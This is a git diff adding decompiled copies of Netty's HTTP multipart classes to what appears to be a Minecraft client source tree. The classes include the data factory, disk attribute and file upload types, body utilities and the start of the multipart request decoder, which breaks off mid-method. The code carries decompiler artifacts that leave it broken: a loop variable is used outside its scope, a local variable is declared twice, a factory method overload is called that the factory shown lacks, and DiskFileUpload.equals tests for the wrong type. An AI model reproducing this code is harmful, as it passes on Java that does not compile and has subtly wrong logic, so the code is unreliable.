+  
+
+
+  public DefaultHttpDataFactory(boolean useDisk)
+  {
+    this.useDisk = useDisk;
+    checkSize = false;
+  }
+  
+
+
+
+  public DefaultHttpDataFactory(long minSize)
+  {
+    useDisk = false;
+    checkSize = true;
+    this.minSize = minSize;
+  }
+  
+
+
+  private List<HttpData> getList(HttpRequest request)
+  {
+    List<HttpData> list = (List)requestFileDeleteMap.get(request);
+    if (list == null) {
+      list = new ArrayList();
+      requestFileDeleteMap.put(request, list);
+    }
+    return list;
+  }
+  
+  public Attribute createAttribute(HttpRequest request, String name)
+  {
+    if (useDisk) {
+      Attribute attribute = new DiskAttribute(name);
+      List<HttpData> fileToDelete = getList(request);
+      fileToDelete.add(attribute);
+      return attribute;
+    }
+    if (checkSize) {
+      Attribute attribute = new MixedAttribute(name, minSize);
+      List<HttpData> fileToDelete = getList(request);
+      fileToDelete.add(attribute);
+      return attribute;
+    }
+    return new MemoryAttribute(name);
+  }
+  
+  public Attribute createAttribute(HttpRequest request, String name, String value)
+  {
+    if (useDisk) {
+      Attribute attribute;
+      try {
+        attribute = new DiskAttribute(name, value);
+      }
+      catch (IOException e) {
+        attribute = new MixedAttribute(name, value, minSize);
+      }
+      List<HttpData> fileToDelete = getList(request);
+      fileToDelete.add(attribute);
+      return attribute;
+    }
+    if (checkSize) {
+      Attribute attribute = new MixedAttribute(name, value, minSize);
+      List<HttpData> fileToDelete = getList(request);
+      fileToDelete.add(attribute);
+      return attribute;
+    }
+    try {
+      return new MemoryAttribute(name, value);
+    } catch (IOException e) {
+      throw new IllegalArgumentException(e);
+    }
+  }
+  
+
+
+  public FileUpload createFileUpload(HttpRequest request, String name, String filename, String contentType, String contentTransferEncoding, Charset charset, long size)
+  {
+    if (useDisk) {
+      FileUpload fileUpload = new DiskFileUpload(name, filename, contentType, contentTransferEncoding, charset, size);
+      
+      List<HttpData> fileToDelete = getList(request);
+      fileToDelete.add(fileUpload);
+      return fileUpload;
+    }
+    if (checkSize) {
+      FileUpload fileUpload = new MixedFileUpload(name, filename, contentType, contentTransferEncoding, charset, size, minSize);
+      
+      List<HttpData> fileToDelete = getList(request);
+      fileToDelete.add(fileUpload);
+      return fileUpload;
+    }
+    return new MemoryFileUpload(name, filename, contentType, contentTransferEncoding, charset, size);
+  }
+  
+
+  public void removeHttpDataFromClean(HttpRequest request, InterfaceHttpData data)
+  {
+    if ((data instanceof HttpData)) {
+      List<HttpData> fileToDelete = getList(request);
+      fileToDelete.remove(data);
+    }
+  }
+  
+  public void cleanRequestHttpDatas(HttpRequest request)
+  {
+    List<HttpData> fileToDelete = (List)requestFileDeleteMap.remove(request);
+    if (fileToDelete != null) {
+      for (HttpData data : fileToDelete) {
+        data.delete();
+      }
+      fileToDelete.clear();
+    }
+  }
+  
+  public void cleanAllHttpDatas()
+  {
+    Iterator<Map.Entry<HttpRequest, List<HttpData>>> i = requestFileDeleteMap.entrySet().iterator();
+    while (i.hasNext()) {
+      Map.Entry<HttpRequest, List<HttpData>> e = (Map.Entry)i.next();
+      i.remove();
+      
+      List<HttpData> fileToDelete = (List)e.getValue();
+      if (fileToDelete != null) {
+        for (HttpData data : fileToDelete) {
+          data.delete();
+        }
+        fileToDelete.clear();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/DiskAttribute.java b/src/minecraft/io/netty/handler/codec/http/multipart/DiskAttribute.java
new file mode 100644
index 0000000..606fa1f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/DiskAttribute.java
@@ -0,0 +1,184 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelException;
+import io.netty.handler.codec.http.HttpConstants;
+import java.io.IOException;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DiskAttribute
+  extends AbstractDiskHttpData
+  implements Attribute
+{
+  public static String baseDirectory;
+  public static boolean deleteOnExitTemporaryFile = true;
+  
+
+  public static final String prefix = "Attr_";
+  
+  public static final String postfix = ".att";
+  
+
+  public DiskAttribute(String name)
+  {
+    super(name, HttpConstants.DEFAULT_CHARSET, 0L);
+  }
+  
+  public DiskAttribute(String name, String value) throws IOException {
+    super(name, HttpConstants.DEFAULT_CHARSET, 0L);
+    setValue(value);
+  }
+  
+  public InterfaceHttpData.HttpDataType getHttpDataType()
+  {
+    return InterfaceHttpData.HttpDataType.Attribute;
+  }
+  
+  public String getValue() throws IOException
+  {
+    byte[] bytes = get();
+    return new String(bytes, charset.name());
+  }
+  
+  public void setValue(String value) throws IOException
+  {
+    if (value == null) {
+      throw new NullPointerException("value");
+    }
+    byte[] bytes = value.getBytes(charset.name());
+    ByteBuf buffer = Unpooled.wrappedBuffer(bytes);
+    if (definedSize > 0L) {
+      definedSize = buffer.readableBytes();
+    }
+    setContent(buffer);
+  }
+  
+  public void addContent(ByteBuf buffer, boolean last) throws IOException
+  {
+    int localsize = buffer.readableBytes();
+    if ((definedSize > 0L) && (definedSize < size + localsize)) {
+      definedSize = (size + localsize);
+    }
+    super.addContent(buffer, last);
+  }
+  
+  public int hashCode() {
+    return getName().hashCode();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof Attribute)) {
+      return false;
+    }
+    Attribute attribute = (Attribute)o;
+    return getName().equalsIgnoreCase(attribute.getName());
+  }
+  
+  public int compareTo(InterfaceHttpData o)
+  {
+    if (!(o instanceof Attribute)) {
+      throw new ClassCastException("Cannot compare " + getHttpDataType() + " with " + o.getHttpDataType());
+    }
+    
+    return compareTo((Attribute)o);
+  }
+  
+  public int compareTo(Attribute o) {
+    return getName().compareToIgnoreCase(o.getName());
+  }
+  
+  public String toString()
+  {
+    try {
+      return getName() + '=' + getValue();
+    } catch (IOException e) {}
+    return getName() + "=IoException";
+  }
+  
+
+  protected boolean deleteOnExit()
+  {
+    return deleteOnExitTemporaryFile;
+  }
+  
+  protected String getBaseDirectory()
+  {
+    return baseDirectory;
+  }
+  
+  protected String getDiskFilename()
+  {
+    return getName() + ".att";
+  }
+  
+  protected String getPostfix()
+  {
+    return ".att";
+  }
+  
+  protected String getPrefix()
+  {
+    return "Attr_";
+  }
+  
+  public Attribute copy()
+  {
+    DiskAttribute attr = new DiskAttribute(getName());
+    attr.setCharset(getCharset());
+    ByteBuf content = content();
+    if (content != null) {
+      try {
+        attr.setContent(content.copy());
+      } catch (IOException e) {
+        throw new ChannelException(e);
+      }
+    }
+    return attr;
+  }
+  
+  public Attribute duplicate()
+  {
+    DiskAttribute attr = new DiskAttribute(getName());
+    attr.setCharset(getCharset());
+    ByteBuf content = content();
+    if (content != null) {
+      try {
+        attr.setContent(content.duplicate());
+      } catch (IOException e) {
+        throw new ChannelException(e);
+      }
+    }
+    return attr;
+  }
+  
+  public Attribute retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+  
+  public Attribute retain()
+  {
+    super.retain();
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/DiskFileUpload.java b/src/minecraft/io/netty/handler/codec/http/multipart/DiskFileUpload.java
new file mode 100644
index 0000000..0246b9c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/DiskFileUpload.java
@@ -0,0 +1,207 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelException;
+import java.io.File;
+import java.io.IOException;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DiskFileUpload
+  extends AbstractDiskHttpData
+  implements FileUpload
+{
+  public static String baseDirectory;
+  public static boolean deleteOnExitTemporaryFile = true;
+  
+  public static final String prefix = "FUp_";
+  
+  public static final String postfix = ".tmp";
+  
+  private String filename;
+  
+  private String contentType;
+  
+  private String contentTransferEncoding;
+  
+  public DiskFileUpload(String name, String filename, String contentType, String contentTransferEncoding, Charset charset, long size)
+  {
+    super(name, charset, size);
+    setFilename(filename);
+    setContentType(contentType);
+    setContentTransferEncoding(contentTransferEncoding);
+  }
+  
+  public InterfaceHttpData.HttpDataType getHttpDataType()
+  {
+    return InterfaceHttpData.HttpDataType.FileUpload;
+  }
+  
+  public String getFilename()
+  {
+    return filename;
+  }
+  
+  public void setFilename(String filename)
+  {
+    if (filename == null) {
+      throw new NullPointerException("filename");
+    }
+    this.filename = filename;
+  }
+  
+  public int hashCode()
+  {
+    return getName().hashCode();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (!(o instanceof Attribute)) {
+      return false;
+    }
+    Attribute attribute = (Attribute)o;
+    return getName().equalsIgnoreCase(attribute.getName());
+  }
+  
+  public int compareTo(InterfaceHttpData o)
+  {
+    if (!(o instanceof FileUpload)) {
+      throw new ClassCastException("Cannot compare " + getHttpDataType() + " with " + o.getHttpDataType());
+    }
+    
+    return compareTo((FileUpload)o);
+  }
+  
+  public int compareTo(FileUpload o)
+  {
+    int v = getName().compareToIgnoreCase(o.getName());
+    if (v != 0) {
+      return v;
+    }
+    
+    return v;
+  }
+  
+  public void setContentType(String contentType)
+  {
+    if (contentType == null) {
+      throw new NullPointerException("contentType");
+    }
+    this.contentType = contentType;
+  }
+  
+  public String getContentType()
+  {
+    return contentType;
+  }
+  
+  public String getContentTransferEncoding()
+  {
+    return contentTransferEncoding;
+  }
+  
+  public void setContentTransferEncoding(String contentTransferEncoding)
+  {
+    this.contentTransferEncoding = contentTransferEncoding;
+  }
+  
+  public String toString()
+  {
+    return "Content-Disposition: form-data; name=\"" + getName() + "\"; " + "filename" + "=\"" + filename + "\"\r\n" + "Content-Type" + ": " + contentType + (charset != null ? "; charset=" + charset + "\r\n" : "\r\n") + "Content-Length" + ": " + length() + "\r\n" + "Completed: " + isCompleted() + "\r\nIsInMemory: " + isInMemory() + "\r\nRealFile: " + (file != null ? file.getAbsolutePath() : "null") + " DefaultDeleteAfter: " + deleteOnExitTemporaryFile;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected boolean deleteOnExit()
+  {
+    return deleteOnExitTemporaryFile;
+  }
+  
+  protected String getBaseDirectory()
+  {
+    return baseDirectory;
+  }
+  
+  protected String getDiskFilename()
+  {
+    File file = new File(filename);
+    return file.getName();
+  }
+  
+  protected String getPostfix()
+  {
+    return ".tmp";
+  }
+  
+  protected String getPrefix()
+  {
+    return "FUp_";
+  }
+  
+  public FileUpload copy()
+  {
+    DiskFileUpload upload = new DiskFileUpload(getName(), getFilename(), getContentType(), getContentTransferEncoding(), getCharset(), size);
+    
+    ByteBuf buf = content();
+    if (buf != null) {
+      try {
+        upload.setContent(buf.copy());
+      } catch (IOException e) {
+        throw new ChannelException(e);
+      }
+    }
+    return upload;
+  }
+  
+  public FileUpload duplicate()
+  {
+    DiskFileUpload upload = new DiskFileUpload(getName(), getFilename(), getContentType(), getContentTransferEncoding(), getCharset(), size);
+    
+    ByteBuf buf = content();
+    if (buf != null) {
+      try {
+        upload.setContent(buf.duplicate());
+      } catch (IOException e) {
+        throw new ChannelException(e);
+      }
+    }
+    return upload;
+  }
+  
+  public FileUpload retain(int increment)
+  {
+    super.retain(increment);
+    return this;
+  }
+  
+  public FileUpload retain()
+  {
+    super.retain();
+    return this;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/FileUpload.java b/src/minecraft/io/netty/handler/codec/http/multipart/FileUpload.java
new file mode 100644
index 0000000..f4bb993
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/FileUpload.java
@@ -0,0 +1,25 @@
+package io.netty.handler.codec.http.multipart;
+
+public abstract interface FileUpload
+  extends HttpData
+{
+  public abstract String getFilename();
+  
+  public abstract void setFilename(String paramString);
+  
+  public abstract void setContentType(String paramString);
+  
+  public abstract String getContentType();
+  
+  public abstract void setContentTransferEncoding(String paramString);
+  
+  public abstract String getContentTransferEncoding();
+  
+  public abstract FileUpload copy();
+  
+  public abstract FileUpload duplicate();
+  
+  public abstract FileUpload retain();
+  
+  public abstract FileUpload retain(int paramInt);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/FileUploadUtil.java b/src/minecraft/io/netty/handler/codec/http/multipart/FileUploadUtil.java
new file mode 100644
index 0000000..a0df722
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/FileUploadUtil.java
@@ -0,0 +1,33 @@
+package io.netty.handler.codec.http.multipart;
+
+
+
+
+
+
+
+
+final class FileUploadUtil
+{
+  private FileUploadUtil() {}
+  
+
+
+
+
+
+
+
+  static int hashCode(FileUpload upload)
+  {
+    return upload.getName().hashCode();
+  }
+  
+  static boolean equals(FileUpload upload1, FileUpload upload2) {
+    return upload1.getName().equalsIgnoreCase(upload2.getName());
+  }
+  
+  static int compareTo(FileUpload upload1, FileUpload upload2) {
+    return upload1.getName().compareToIgnoreCase(upload2.getName());
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/HttpData.java b/src/minecraft/io/netty/handler/codec/http/multipart/HttpData.java
new file mode 100644
index 0000000..777b86d
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/HttpData.java
@@ -0,0 +1,65 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufHolder;
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.nio.charset.Charset;
+
+public abstract interface HttpData
+  extends InterfaceHttpData, ByteBufHolder
+{
+  public abstract void setContent(ByteBuf paramByteBuf)
+    throws IOException;
+  
+  public abstract void addContent(ByteBuf paramByteBuf, boolean paramBoolean)
+    throws IOException;
+  
+  public abstract void setContent(File paramFile)
+    throws IOException;
+  
+  public abstract void setContent(InputStream paramInputStream)
+    throws IOException;
+  
+  public abstract boolean isCompleted();
+  
+  public abstract long length();
+  
+  public abstract void delete();
+  
+  public abstract byte[] get()
+    throws IOException;
+  
+  public abstract ByteBuf getByteBuf()
+    throws IOException;
+  
+  public abstract ByteBuf getChunk(int paramInt)
+    throws IOException;
+  
+  public abstract String getString()
+    throws IOException;
+  
+  public abstract String getString(Charset paramCharset)
+    throws IOException;
+  
+  public abstract void setCharset(Charset paramCharset);
+  
+  public abstract Charset getCharset();
+  
+  public abstract boolean renameTo(File paramFile)
+    throws IOException;
+  
+  public abstract boolean isInMemory();
+  
+  public abstract File getFile()
+    throws IOException;
+  
+  public abstract HttpData copy();
+  
+  public abstract HttpData duplicate();
+  
+  public abstract HttpData retain();
+  
+  public abstract HttpData retain(int paramInt);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/HttpDataFactory.java b/src/minecraft/io/netty/handler/codec/http/multipart/HttpDataFactory.java
new file mode 100644
index 0000000..08259c2
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/HttpDataFactory.java
@@ -0,0 +1,19 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.handler.codec.http.HttpRequest;
+import java.nio.charset.Charset;
+
+public abstract interface HttpDataFactory
+{
+  public abstract Attribute createAttribute(HttpRequest paramHttpRequest, String paramString);
+  
+  public abstract Attribute createAttribute(HttpRequest paramHttpRequest, String paramString1, String paramString2);
+  
+  public abstract FileUpload createFileUpload(HttpRequest paramHttpRequest, String paramString1, String paramString2, String paramString3, String paramString4, Charset paramCharset, long paramLong);
+  
+  public abstract void removeHttpDataFromClean(HttpRequest paramHttpRequest, InterfaceHttpData paramInterfaceHttpData);
+  
+  public abstract void cleanRequestHttpDatas(HttpRequest paramHttpRequest);
+  
+  public abstract void cleanAllHttpDatas();
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/HttpPostBodyUtil.java b/src/minecraft/io/netty/handler/codec/http/multipart/HttpPostBodyUtil.java
new file mode 100644
index 0000000..3f1312c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/HttpPostBodyUtil.java
@@ -0,0 +1,223 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.util.CharsetUtil;
+import java.nio.charset.Charset;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+final class HttpPostBodyUtil
+{
+  public static final int chunkSize = 8096;
+  public static final String CONTENT_DISPOSITION = "Content-Disposition";
+  public static final String NAME = "name";
+  public static final String FILENAME = "filename";
+  public static final String FORM_DATA = "form-data";
+  public static final String ATTACHMENT = "attachment";
+  public static final String FILE = "file";
+  public static final String MULTIPART_MIXED = "multipart/mixed";
+  public static final Charset ISO_8859_1 = CharsetUtil.ISO_8859_1;
+  
+
+
+
+  public static final Charset US_ASCII = CharsetUtil.US_ASCII;
+  
+
+
+
+
+  public static final String DEFAULT_BINARY_CONTENT_TYPE = "application/octet-stream";
+  
+
+
+
+  public static final String DEFAULT_TEXT_CONTENT_TYPE = "text/plain";
+  
+
+
+
+  private HttpPostBodyUtil() {}
+  
+
+
+
+
+  public static enum TransferEncodingMechanism
+  {
+    BIT7("7bit"), 
+    
+
+
+    BIT8("8bit"), 
+    
+
+
+    BINARY("binary");
+    
+    private final String value;
+    
+    private TransferEncodingMechanism(String value) {
+      this.value = value;
+    }
+    
+    private TransferEncodingMechanism() {
+      value = name();
+    }
+    
+    public String value() {
+      return value;
+    }
+    
+    public String toString()
+    {
+      return value;
+    }
+  }
+  
+
+  static class SeekAheadNoBackArrayException
+    extends Exception
+  {
+    private static final long serialVersionUID = -630418804938699495L;
+    
+
+    SeekAheadNoBackArrayException() {}
+  }
+  
+
+  static class SeekAheadOptimize
+  {
+    byte[] bytes;
+    int readerIndex;
+    int pos;
+    int origPos;
+    int limit;
+    ByteBuf buffer;
+    
+    SeekAheadOptimize(ByteBuf buffer)
+      throws HttpPostBodyUtil.SeekAheadNoBackArrayException
+    {
+      if (!buffer.hasArray()) {
+        throw new HttpPostBodyUtil.SeekAheadNoBackArrayException();
+      }
+      this.buffer = buffer;
+      bytes = buffer.array();
+      readerIndex = buffer.readerIndex();
+      origPos = (this.pos = buffer.arrayOffset() + readerIndex);
+      limit = (buffer.arrayOffset() + buffer.writerIndex());
+    }
+    
+
+
+
+
+    void setReadPosition(int minus)
+    {
+      pos -= minus;
+      readerIndex = getReadPosition(pos);
+      buffer.readerIndex(readerIndex);
+    }
+    
+
+
+
+
+    int getReadPosition(int index)
+    {
+      return index - origPos + readerIndex;
+    }
+    
+    void clear() {
+      buffer = null;
+      bytes = null;
+      limit = 0;
+      pos = 0;
+      readerIndex = 0;
+    }
+  }
+  
+
+
+
+
+  static int findNonWhitespace(String sb, int offset)
+  {
+    for (int result = offset; result < sb.length(); result++) {
+      if (!Character.isWhitespace(sb.charAt(result))) {
+        break;
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+  static int findWhitespace(String sb, int offset)
+  {
+    for (int result = offset; result < sb.length(); result++) {
+      if (Character.isWhitespace(sb.charAt(result))) {
+        break;
+      }
+    }
+    return result;
+  }
+  
+
+
+
+
+  static int findEndOfString(String sb)
+  {
+    for (int result = sb.length(); result > 0; result--) {
+      if (!Character.isWhitespace(sb.charAt(result - 1))) {
+        break;
+      }
+    }
+    return result;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http/multipart/HttpPostMultipartRequestDecoder.java b/src/minecraft/io/netty/handler/codec/http/multipart/HttpPostMultipartRequestDecoder.java
new file mode 100644
index 0000000..0aa71e3
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http/multipart/HttpPostMultipartRequestDecoder.java
@@ -0,0 +1,1873 @@
+package io.netty.handler.codec.http.multipart;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.handler.codec.http.HttpConstants;
+import io.netty.handler.codec.http.HttpContent;
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.handler.codec.http.HttpHeaderValues;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.LastHttpContent;
+import io.netty.util.AsciiString;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.InternalThreadLocalMap;
+import io.netty.util.internal.StringUtil;
+import java.io.IOException;
+import java.nio.charset.Charset;
+import java.nio.charset.UnsupportedCharsetException;
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+import java.util.TreeMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class HttpPostMultipartRequestDecoder
+  implements InterfaceHttpPostRequestDecoder
+{
+  private final HttpDataFactory factory;
+  private final HttpRequest request;
+  private Charset charset;
+  private boolean isLastChunk;
+  private final List<InterfaceHttpData> bodyListHttpData = new ArrayList();
+  
+
+
+
+  private final Map<String, List<InterfaceHttpData>> bodyMapHttpData = new TreeMap(CaseIgnoringComparator.INSTANCE);
+  
+
+
+
+
+  private ByteBuf undecodedChunk;
+  
+
+
+
+
+  private int bodyListHttpDataRank;
+  
+
+
+
+  private String multipartDataBoundary;
+  
+
+
+
+  private String multipartMixedBoundary;
+  
+
+
+
+  private HttpPostRequestDecoder.MultiPartStatus currentStatus = HttpPostRequestDecoder.MultiPartStatus.NOTSTARTED;
+  
+
+
+  private Map<CharSequence, Attribute> currentFieldAttributes;
+  
+
+
+  private FileUpload currentFileUpload;
+  
+
+
+  private Attribute currentAttribute;
+  
+
+
+  private boolean destroyed;
+  
+
+  private int discardThreshold = 10485760;
+  
+
+
+
+
+
+
+
+
+
+  public HttpPostMultipartRequestDecoder(HttpRequest request)
+  {
+    this(new DefaultHttpDataFactory(16384L), request, HttpConstants.DEFAULT_CHARSET);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public HttpPostMultipartRequestDecoder(HttpDataFactory factory, HttpRequest request)
+  {
+    this(factory, request, HttpConstants.DEFAULT_CHARSET);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public HttpPostMultipartRequestDecoder(HttpDataFactory factory, HttpRequest request, Charset charset)
+  {
+    if (factory == null) {
+      throw new NullPointerException("factory");
+    }
+    if (request == null) {
+      throw new NullPointerException("request");
+    }
+    if (charset == null) {
+      throw new NullPointerException("charset");
+    }
+    this.request = request;
+    this.charset = charset;
+    this.factory = factory;
+    
+
+    setMultipart(this.request.headers().get(HttpHeaderNames.CONTENT_TYPE));
+    if ((request instanceof HttpContent))
+    {
+
+      offer((HttpContent)request);
+    } else {
+      undecodedChunk = Unpooled.buffer();
+      parseBody();
+    }
+  }
+  
+
+
+  private void setMultipart(String contentType)
+  {
+    String[] dataBoundary = HttpPostRequestDecoder.getMultipartDataBoundary(contentType);
+    if (dataBoundary != null) {
+      multipartDataBoundary = dataBoundary[0];
+      if ((dataBoundary.length > 1) && (dataBoundary[1] != null)) {
+        charset = Charset.forName(dataBoundary[1]);
+      }
+    } else {
+      multipartDataBoundary = null;
+    }
+    currentStatus = HttpPostRequestDecoder.MultiPartStatus.HEADERDELIMITER;
+  }
+  
+  private void checkDestroyed() {
+    if (destroyed) {
+      throw new IllegalStateException(HttpPostMultipartRequestDecoder.class.getSimpleName() + " was destroyed already");
+    }
+  }
+  
+
+
+
+
+
+
+  public boolean isMultipart()
+  {
+    checkDestroyed();
+    return true;
+  }
+  
+
+
+
+
+
+  public void setDiscardThreshold(int discardThreshold)
+  {
+    if (discardThreshold < 0) {
+      throw new IllegalArgumentException("discardThreshold must be >= 0");
+    }
+    this.discardThreshold = discardThreshold;
+  }
+  
+
+
+
+  public int getDiscardThreshold()
+  {
+    return discardThreshold;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public List<InterfaceHttpData> getBodyHttpDatas()
+  {
+    checkDestroyed();
+    
+    if (!isLastChunk) {
+      throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+    }
+    return bodyListHttpData;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public List<InterfaceHttpData> getBodyHttpDatas(String name)
+  {
+    checkDestroyed();
+    
+    if (!isLastChunk) {
+      throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+    }
+    return (List)bodyMapHttpData.get(name);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public InterfaceHttpData getBodyHttpData(String name)
+  {
+    checkDestroyed();
+    
+    if (!isLastChunk) {
+      throw new HttpPostRequestDecoder.NotEnoughDataDecoderException();
+    }
+    List<InterfaceHttpData> list = (List)bodyMapHttpData.get(name);
+    if (list != null) {
+      return (InterfaceHttpData)list.get(0);
+    }
+    return null;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public HttpPostMultipartRequestDecoder offer(HttpContent content)
+  {
+    checkDestroyed();
+    
+
+
+
+    ByteBuf buf = content.content();
+    if (undecodedChunk == null) {
+      undecodedChunk = buf.copy();
+    } else {
+      undecodedChunk.writeBytes(buf);
+    }
+    if ((content instanceof LastHttpContent)) {
+      isLastChunk = true;
+    }
+    parseBody();
+    if ((undecodedChunk != null) && (undecodedChunk.writerIndex() > discardThreshold)) {
+      undecodedChunk.discardReadBytes();
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public boolean hasNext()
+  {
+    checkDestroyed();
+    
+    if (currentStatus == HttpPostRequestDecoder.MultiPartStatus.EPILOGUE)
+    {
+      if (bodyListHttpDataRank >= bodyListHttpData.size()) {
+        throw new HttpPostRequestDecoder.EndOfDataDecoderException();
+      }
+    }
+    return (!bodyListHttpData.isEmpty()) && (bodyListHttpDataRank < bodyListHttpData.size());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public InterfaceHttpData next()
+  {
+    checkDestroyed();
+    
+    if (hasNext()) {
+      return (InterfaceHttpData)bodyListHttpData.get(bodyListHttpDataRank++);
+    }
+    return null;
+  }
+  
+  public InterfaceHttpData currentPartialHttpData()
+  {
+    if (currentFileUpload != null) {
+      return currentFileUpload;
+    }
+    return currentAttribute;
+  }
+  
+
+
+
+
+
+
+
+  private void parseBody()
+  {
+    if ((currentStatus == HttpPostRequestDecoder.MultiPartStatus.PREEPILOGUE) || (currentStatus == HttpPostRequestDecoder.MultiPartStatus.EPILOGUE)) {
+      if (isLastChunk) {
+        currentStatus = HttpPostRequestDecoder.MultiPartStatus.EPILOGUE;
+      }
+      return;
+    }
+    parseBodyMultipart();
+  }
+  
+
+
+  protected void addHttpData(InterfaceHttpData data)
+  {
+    if (data == null) {
+      return;
+    }
+    List<InterfaceHttpData> datas = (List)bodyMapHttpData.get(data.getName());
+    if (datas == null) {
+      datas = new ArrayList(1);
+      bodyMapHttpData.put(data.getName(), datas);
+    }
+    datas.add(data);
+    bodyListHttpData.add(data);
+  }
+  
+
+
+
+
+
+
+  private void parseBodyMultipart()
+  {
+    if ((undecodedChunk == null) || (undecodedChunk.readableBytes() == 0))
+    {
+      return;
+    }
+    InterfaceHttpData data = decodeMultipart(currentStatus);
+    while (data != null) {
+      addHttpData(data);
+      if ((currentStatus == HttpPostRequestDecoder.MultiPartStatus.PREEPILOGUE) || (currentStatus == HttpPostRequestDecoder.MultiPartStatus.EPILOGUE)) {
+        break;
+      }
+      data = decodeMultipart(currentStatus);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private InterfaceHttpData decodeMultipart(HttpPostRequestDecoder.MultiPartStatus state)
+  {
+    switch (1.$SwitchMap$io$netty$handler$codec$http$multipart$HttpPostRequestDecoder$MultiPartStatus[state.ordinal()]) {
+    case 1: 
+      throw new HttpPostRequestDecoder.ErrorDataDecoderException("Should not be called with the current getStatus");
+    
+    case 2: 
+      throw new HttpPostRequestDecoder.ErrorDataDecoderException("Should not be called with the current getStatus");
+    
+    case 3: 
+      return findMultipartDelimiter(multipartDataBoundary, HttpPostRequestDecoder.MultiPartStatus.DISPOSITION, HttpPostRequestDecoder.MultiPartStatus.PREEPILOGUE);
+    
+
+
+
+
+
+
+
+
+
+
+    case 4: 
+      return findMultipartDisposition();
+    
+
+    case 5: 
+      Charset localCharset = null;
+      Attribute charsetAttribute = (Attribute)currentFieldAttributes.get(HttpHeaderValues.CHARSET);
+      if (charsetAttribute != null) {
+        try {
+          localCharset = Charset.forName(charsetAttribute.getValue());
+        } catch (IOException e) {
+          throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+        } catch (UnsupportedCharsetException e) {
+          throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+        }
+      }
+      Attribute nameAttribute = (Attribute)currentFieldAttributes.get(HttpHeaderValues.NAME);
+      if (currentAttribute == null) {
+        Attribute lengthAttribute = (Attribute)currentFieldAttributes.get(HttpHeaderNames.CONTENT_LENGTH);
+        long size;
+        try
+        {
+          size = lengthAttribute != null ? Long.parseLong(lengthAttribute.getValue()) : 0L;
+        } catch (IOException e) {
+          long size;
+          throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+        } catch (NumberFormatException e) {
+          size = 0L;
+        }
+        try {
+          if (size > 0L) {
+            currentAttribute = factory.createAttribute(request, cleanString(nameAttribute.getValue()), size);
+          }
+          else {
+            currentAttribute = factory.createAttribute(request, cleanString(nameAttribute.getValue()));
+          }
+        }
+        catch (NullPointerException e) {
+          throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+        } catch (IllegalArgumentException e) {
+          throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+        } catch (IOException e) {
+          throw new HttpPostRequestDecoder.ErrorDataDecoderException(e);
+        }
+        if (localCharset != null) {
+          currentAttribute.setCharset(localCharset);
+        }
+      }
+      try
+      {
+        loadFieldMultipart(multipartDataBoundary);
